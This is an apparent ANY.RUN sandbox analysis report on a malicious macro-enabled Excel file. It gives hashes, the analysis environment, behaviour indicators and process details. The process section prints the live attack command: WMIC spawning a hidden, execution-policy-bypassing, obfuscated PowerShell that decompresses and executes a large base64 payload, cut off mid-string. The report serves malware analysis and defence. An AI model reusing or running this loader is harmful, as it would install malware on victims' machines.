General Info

File name

MIL0001537426.xls

Full analysis
https://app.any.run/tasks/61a57caa-1bb3-4a1f-b32d-2fa1cd434951
Verdict
Malicious activity
Analysis date
9/11/2019, 09:27:54
OS:
Windows 7 Professional Service Pack 1 (build: 7601, 64 bit)
Tags:

macros

macros-on-open

Indicators:

MIME:
application/vnd.ms-excel
File info:
Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Mon Sep 9 09:33:00 2019, Last Saved Time/Date: Mon Sep 9 09:37:00 2019, Security: 0
MD5

f564e32039fd930a7688a7325b3ec5fb

SHA1

2526a64145f814f8c1760a531f22de3cf8f4a4cf

SHA256

4bb516d3e5546a1ee287abe9a2b6fa3fbef3b6092a49edf13d2bb19cc1c00850

SSDEEP

1536:zP5HNfeQuP8mo1X9rlnSYYcMA+eIFAlYkRIbTkKBEqEXugsCZmbpoahZhC0cixI9:zP5HNfeQu8mo1X9rlnSYYcMA+eIFAlYu

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distored by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

Software environment set and analysis options

Launch configuration

Task duration
660 seconds
Additional time used
none
Fakenet option
off
Heavy Evaision option
off
MITM proxy
on
Route via Tor
off
Network geolocation
off
Privacy
Public submission
Autoconfirmation of UAC
on

Software preset

  • Internet Explorer 11.0.9600.18860 KB4052978
  • Adobe Acrobat Reader DC MUI (15.007.20033)
  • Adobe Flash Player 27 ActiveX (27.0.0.187)
  • Adobe Flash Player 27 NPAPI (27.0.0.187)
  • Adobe Flash Player 27 PPAPI (27.0.0.187)
  • CCleaner (5.35)
  • Google Chrome (75.0.3770.100)
  • Google Update Helper (1.3.33.23)
  • Java 8 Update 92 (64-bit) (8.0.920.14)
  • Java Auto Updater (2.8.92.14)
  • Microsoft .NET Framework 4.7.2 (4.7.03062)
  • Microsoft Office Access MUI (English) 2010 (14.0.4763.1000)
  • Microsoft Office Access Setup Metadata MUI (English) 2010 (14.0.4763.1000)
  • Microsoft Office Excel MUI (English) 2010 (14.0.4763.1000)
  • Microsoft Office Office 32-bit Components 2010 (14.0.4763.1000)
  • Microsoft Office OneNote MUI (English) 2010 (14.0.4763.1000)
  • Microsoft Office Outlook MUI (English) 2010 (14.0.4763.1000)
  • Microsoft Office PowerPoint MUI (English) 2010 (14.0.4763.1000)
  • Microsoft Office Professional 2010 (14.0.4763.1000)
  • Microsoft Office Proof (English) 2010 (14.0.4763.1000)
  • Microsoft Office Proof (French) 2010 (14.0.4763.1000)
  • Microsoft Office Proof (Spanish) 2010 (14.0.4763.1000)
  • Microsoft Office Proofing (English) 2010 (14.0.4763.1000)
  • Microsoft Office Publisher MUI (English) 2010 (14.0.4763.1000)
  • Microsoft Office Shared 32-bit MUI (English) 2010 (14.0.4763.1000)
  • Microsoft Office Shared MUI (English) 2010 (14.0.4763.1000)
  • Microsoft Office Shared Setup Metadata MUI (English) 2010 (14.0.4763.1000)
  • Microsoft Office Single Image 2010 (14.0.4763.1000)
  • Microsoft Office Word MUI (English) 2010 (14.0.4763.1000)
  • Microsoft Visual C++ 2005 Redistributable (x64) (8.0.61000)
  • Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 (9.0.30729.6161)
  • Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 (10.0.40219)
  • Microsoft Visual C++ 2012 Redistributable (x64) - 11.0.61030 (11.0.61030.0)
  • Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 (11.0.61030)
  • Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030 (11.0.61030)
  • Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 (12.0.30501.0)
  • Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 (12.0.21005)
  • Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 (12.0.21005)
  • Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.21.27702 (14.21.27702.2)
  • Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.21.27702 (14.21.27702.2)
  • Microsoft Visual C++ 2019 X64 Additional Runtime - 14.21.27702 (14.21.27702)
  • Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.21.27702 (14.21.27702)
  • Microsoft Visual C++ 2019 X86 Additional Runtime - 14.21.27702 (14.21.27702)
  • Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.21.27702 (14.21.27702)
  • Mozilla Firefox 67.0.4 (x64 en-US) (67.0.4)
  • Mozilla Maintenance Service (67.0.4)
  • Notepad++ (64-bit x64) (7.5.1)
  • Opera 12.15 (12.15.1748)
  • Skype™ 7.39 (7.39.102)
  • Update for Microsoft .NET Framework 4.7.2 (KB4087364) (1)
  • VLC media player (2.2.6)
  • WinRAR 5.60 (64-bit) (5.60.0)

Hotfixes

  • Client LanguagePack Package
  • Client Refresh LanguagePack Package
  • CodecPack Basic Package
  • Foundation Package
  • IE Hyphenation Parent Package English
  • IE Spelling Parent Package English
  • IE Troubleshooters Package
  • InternetExplorer Optional Package
  • InternetExplorer Package TopLevel
  • KB2479943
  • KB2491683
  • KB2506014
  • KB2506212
  • KB2506928
  • KB2509553
  • KB2532531
  • KB2533552
  • KB2534111
  • KB2545698
  • KB2547666
  • KB2552343
  • KB2560656
  • KB2563227
  • KB2564958
  • KB2579686
  • KB2585542
  • KB2585542 SP1
  • KB2598845
  • KB2603229
  • KB2604115
  • KB2620704
  • KB2621440
  • KB2631813
  • KB2640148
  • KB2653956
  • KB2654428
  • KB2656356
  • KB2656356 SP1
  • KB2660075
  • KB2667402
  • KB2685811
  • KB2685813
  • KB2685939
  • KB2690533
  • KB2698365
  • KB2705219
  • KB2706045
  • KB2719857
  • KB2726535
  • KB2727528
  • KB2729094
  • KB2729452
  • KB2732059
  • KB2732487
  • KB2736422
  • KB2742599
  • KB2750841
  • KB2758857
  • KB2761217
  • KB2763523
  • KB2770660
  • KB2773072
  • KB2786081
  • KB2789645
  • KB2789645 SP1
  • KB2791765
  • KB2799926
  • KB2800095
  • KB2807986
  • KB2808679
  • KB2813430
  • KB2834140
  • KB2836942
  • KB2836943
  • KB2840631
  • KB2843630
  • KB2847927
  • KB2852386
  • KB2853952
  • KB2861698
  • KB2862152
  • KB2862330
  • KB2862335
  • KB2864202
  • KB2868038
  • KB2871997
  • KB2884256
  • KB2888049
  • KB2891804
  • KB2892074
  • KB2893294
  • KB2893519
  • KB2894844
  • KB2900986
  • KB2908783
  • KB2911501
  • KB2912390
  • KB2918077
  • KB2919469
  • KB2931356
  • KB2937610
  • KB2943357
  • KB2952664
  • KB2966583
  • KB2968294
  • KB2970228
  • KB2972100
  • KB2972211
  • KB2973112
  • KB2973201
  • KB2973351
  • KB2977292
  • KB2978120
  • KB2978742
  • KB2984972
  • KB2985461
  • KB2991963
  • KB2992611
  • KB3003743
  • KB3004361
  • KB3004375
  • KB3006121
  • KB3006137
  • KB3010788
  • KB3011780
  • KB3013531
  • KB3019978
  • KB3020370
  • KB3021674
  • KB3021917
  • KB3022777
  • KB3023215
  • KB3030377
  • KB3031432
  • KB3035126
  • KB3035132
  • KB3037574
  • KB3042058
  • KB3045685
  • KB3046017
  • KB3046269
  • KB3054476
  • KB3055642
  • KB3059317
  • KB3060716
  • KB3067903
  • KB3068708
  • KB3071756
  • KB3072305
  • KB3074543
  • KB3075220
  • KB3076895
  • KB3078601
  • KB3078667
  • KB3080149
  • KB3084135
  • KB3086255
  • KB3092601
  • KB3092627
  • KB3093513
  • KB3097989
  • KB3101722
  • KB3107998
  • KB3108371
  • KB3108381
  • KB3108664
  • KB3109103
  • KB3109560
  • KB3110329
  • KB3115858
  • KB3115858 SP1
  • KB3122648
  • KB3124275
  • KB3126587
  • KB3127220
  • KB3133977
  • KB3137061
  • KB3138378
  • KB3138612
  • KB3138910
  • KB3139398
  • KB3139914
  • KB3140245
  • KB3147071
  • KB3150220
  • KB3155178
  • KB3156016
  • KB3156019
  • KB3159398
  • KB3161102
  • KB3161949
  • KB3161958
  • KB3170735
  • KB3170735 SP1
  • KB3172605
  • KB3177467
  • KB3179573
  • KB3184143
  • KB4019990
  • KB4040980
  • KB976902
  • KB982018
  • LocalPack AU Package
  • LocalPack CA Package
  • LocalPack GB Package
  • LocalPack US Package
  • LocalPack ZA Package
  • Package 1 for KB2656356
  • Package 1 for KB2789645
  • Package 1 for KB3115858
  • Package 1 for KB3170735
  • Package 2 for KB2585542
  • Package 2 for KB2656356
  • Package 2 for KB2789645
  • Package 2 for KB3115858
  • Package 2 for KB3170735
  • Package 3 for KB2585542
  • Package 3 for KB2656356
  • Package 4 for KB2656356
  • Package 4 for KB2789645
  • Package 5 for KB2656356
  • Package 7 for KB2656356
  • PlatformUpdate Win7 SRV08R2 Package TopLevel
  • ProfessionalEdition
  • RollupFix
  • UltimateEdition
  • WUClient SelfUpdate ActiveX
  • WUClient SelfUpdate Aux TopLevel
  • WUClient SelfUpdate Core TopLevel

Behavior activities

MALICIOUS SUSPICIOUS INFO
Unusual execution from Microsoft Office
  • EXCEL.EXE (PID: 2888)
Uses WMIC.EXE to create a new process
  • EXCEL.EXE (PID: 2888)
PowerShell script executed
  • POWeRsHEll.exe (PID: 1896)
Executed via WMI
  • POWeRsHEll.exe (PID: 1896)
Reads the machine GUID from the registry
  • wMIc.exe (PID: 1576)
  • POWeRsHEll.exe (PID: 1896)
Creates files in the user directory
  • POWeRsHEll.exe (PID: 1896)
Creates files in the user directory
  • EXCEL.EXE (PID: 2888)
Reads Microsoft Office registry keys
  • EXCEL.EXE (PID: 2888)
Reads the machine GUID from the registry
  • EXCEL.EXE (PID: 2888)

Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

Static information

TRiD
.xls
|   Microsoft Excel sheet (78.9%)
EXIF
FlashPix
Author:
null
LastModifiedBy:
null
Software:
Microsoft Excel
CreateDate:
2019:09:09 08:33:00
ModifyDate:
2019:09:09 08:37:00
Security:
None
CodePage:
Windows Latin 1 (Western European)
Company:
null
AppVersion:
16
ScaleCrop:
No
LinksUpToDate:
No
SharedDoc:
No
HyperlinksChanged:
No
TitleOfParts:
allegati
HeadingPairs
null
null
CompObjUserTypeLen:
41
CompObjUserType:
Foglio di lavoro di Microsoft Excel 2003

Video and screenshots

Processes

Total processes
41
Monitored processes
3
Malicious processes
1
Suspicious processes
1

Behavior graph

+
start excel.exe no specs wmic.exe no specs powershell.exe no specs
Specs description
Program did not start
Integrity level elevation
Task сontains an error or was rebooted
Process has crashed
Task contains several apps running
Executable file was dropped
Debug information is available
Process was injected
Network attacks were detected
Application downloaded the executable file
Actions similar to stealing personal data
Behavior similar to exploiting the vulnerability
Inspected object has sucpicious PE structure
File is detected by antivirus software
CPU overrun
RAM overrun
Process starts the services
Process was added to the startup
Behavior similar to spam
Low-level access to the HDD
Probably Tor was used
System was rebooted
Connects to the network
Known threat

Process information

Click at the process to see the details.

PID
2888
CMD
"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /dde
Path
C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
Indicators
No indicators
Parent process
––
User
admin
Integrity Level
MEDIUM
Version:
Company
Microsoft Corporation
Description
Microsoft Excel
Version
14.0.4756.1000
Modules
Image
c:\program files\microsoft office\office14\excel.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
c:\windows\system32\oleaut32.dll
c:\windows\winsxs\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_08e61857a83bc251\msvcr90.dll
c:\program files\microsoft office\office14\gfx.dll
c:\windows\system32\wtsapi32.dll
c:\windows\system32\msimg32.dll
c:\program files\microsoft office\office14\oart.dll
c:\windows\system32\imm32.dll
c:\windows\system32\msctf.dll
c:\program files\common files\microsoft shared\office14\mso.dll
c:\windows\system32\msi.dll
c:\windows\system32\shell32.dll
c:\windows\system32\shlwapi.dll
c:\windows\winsxs\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.18837_none_fa3b1e3d17594757\comctl32.dll
c:\program files\common files\microsoft shared\office14\cultures\office.odf
c:\program files\common files\microsoft shared\office14\1033\msointl.dll
c:\program files\common files\microsoft shared\office14\msores.dll
c:\windows\system32\cryptbase.dll
c:\windows\system32\dwmapi.dll
c:\windows\system32\clbcatq.dll
c:\windows\system32\msimtf.dll
c:\windows\system32\version.dll
c:\program files\common files\microsoft shared\office14\riched20.dll
c:\windows\winsxs\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.23894_none_145eb2808b8d6928\gdiplus.dll
c:\windows\system32\mscoree.dll
c:\windows\microsoft.net\framework64\v4.0.30319\mscoreei.dll
c:\windows\microsoft.net\framework64\v2.0.50727\mscorwks.dll
c:\program files\common files\microsoft shared\officesoftwareprotectionplatform\osppc.dll
c:\windows\system32\uxtheme.dll
c:\windows\system32\powrprof.dll
c:\windows\system32\setupapi.dll
c:\windows\system32\cfgmgr32.dll
c:\windows\system32\devobj.dll
c:\windows\system32\cryptsp.dll
c:\windows\system32\rsaenh.dll
c:\windows\system32\rpcrtremote.dll
c:\windows\system32\winsta.dll
c:\program files\microsoft office\office14\msohev.dll
c:\windows\system32\propsys.dll
c:\windows\system32\ntmarta.dll
c:\windows\system32\wldap32.dll
c:\windows\system32\profapi.dll
c:\windows\system32\urlmon.dll
c:\windows\system32\api-ms-win-downlevel-ole32-l1-1-0.dll
c:\windows\system32\api-ms-win-downlevel-shlwapi-l1-1-0.dll
c:\windows\system32\api-ms-win-downlevel-advapi32-l1-1-0.dll
c:\windows\system32\api-ms-win-downlevel-user32-l1-1-0.dll
c:\windows\system32\api-ms-win-downlevel-version-l1-1-0.dll
c:\windows\system32\api-ms-win-downlevel-normaliz-l1-1-0.dll
c:\windows\system32\normaliz.dll
c:\windows\system32\iertutil.dll
c:\windows\system32\wininet.dll
c:\windows\system32\userenv.dll
c:\windows\system32\secur32.dll
c:\windows\system32\sspicli.dll
c:\windows\system32\api-ms-win-downlevel-advapi32-l2-1-0.dll
c:\windows\system32\mpr.dll
c:\program files\microsoft office\office14\gkexcel.dll
c:\windows\system32\msxml6.dll
c:\windows\system32\bcrypt.dll
c:\progra~1\common~1\micros~1\vba\vba7\vbe7.dll
c:\windows\system32\sxs.dll
c:\progra~1\common~1\micros~1\vba\vba7\1033\vbe7intl.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\ieframe.dll
c:\windows\system32\api-ms-win-downlevel-shell32-l1-1-0.dll
c:\windows\system32\linkinfo.dll
c:\windows\system32\ntshrui.dll
c:\windows\system32\srvcli.dll
c:\windows\system32\cscapi.dll
c:\windows\system32\slc.dll
c:\windows\system32\fm20.dll
c:\windows\system32\comdlg32.dll
c:\windows\winsxs\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.18837_none_a4d981ff711297b6\comctl32.dll
c:\windows\system32\fm20enu.dll
c:\windows\system32\windowscodecs.dll
c:\windows\system32\winmm.dll
c:\program files\common files\microsoft shared\office14\1033\alrtintl.dll
c:\program files\microsoft office\office14\msostyle.dll
c:\windows\system32\wbem\wmic.exe

PID
1576
CMD
wMIc 'pRoCEss' 'CALL' "cREate" "POWeRsHEll -NOprOf -WiN 00000000000000000000001 -EP byPass -nONiNtErac $K03 = [STRing][CHAr]34 ;$7HE =([CHAr]44).TOSTRinG() ;"\".(${K03}{0}{1}${K03} -f's'${7HE}'al') ('Re') (${K03}{0}{2}{1}${K03}-f'N'${7HE}'-Object'${7HE}'ew');.(${K03}{0}{1}${K03}-f 's'${7HE}'al') ('Er') (${K03}{1}{0}${K03}-f 'x'${7HE}'iE');Er(Re io.COMpResSion.DEFLATEsTREAM([sYSTEm.io.mEmORyStrEAM] [COnVeRt]::frOmBaSe64StrIng( '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